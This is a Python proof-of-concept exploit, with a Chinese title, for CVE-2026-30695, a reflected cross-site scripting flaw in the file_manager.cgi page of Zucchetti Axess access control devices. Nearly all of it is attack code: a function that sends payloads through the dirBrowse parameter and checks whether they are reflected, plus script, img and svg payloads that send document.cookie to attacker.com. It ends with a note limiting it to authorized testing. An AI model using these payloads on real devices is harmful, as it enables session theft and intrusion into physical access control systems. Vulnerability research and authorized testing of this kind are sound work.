CVE-2026-30695 Zucchetti Axess 访问控制设备 XSS跨站脚本漏洞

import requests import urllib.parse # CVE-2026-30695 PoC - Zucchetti Axess XSS in /file_manager.cgi # Target: Zucchetti Axess access control devices (XA4, X3/X3BIO, X4, X7, XIO/i-door/i-door+) TARGET_URL = "http://target-device-ip/file_manager.cgi" # XSS payload to steal cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative XSS payloads xss_payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">', '<svg onload="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' ] def exploit(target_url, payload): """Send XSS payload via dirBrowse parameter""" params = { 'dirBrowse': payload, 'action': 'browse' # Typical file manager action } try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {urllib.parse.unquote(payload)}") print(f"[*] Status: {response.status_code}") if payload in response.text: print("[+] XSS payload reflected in response - vulnerability confirmed!") else: print("[-] Payload not found in response") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def main(): print("=" * 60) print("CVE-2026-30695 PoC - Zucchetti Axess XSS") print("=" * 60) # Test basic XSS print("\n[*] Testing basic XSS payload...") exploit(TARGET_URL, xss_payloads[0]) # Test alternative payload print("\n[*] Testing img tag XSS payload...") exploit(TARGET_URL, xss_payloads[1]) print("\n[!] Note: This PoC is for authorized security testing only.") print("[!] Ensure you have permission before testing any system.") if __name__ == "__main__": main()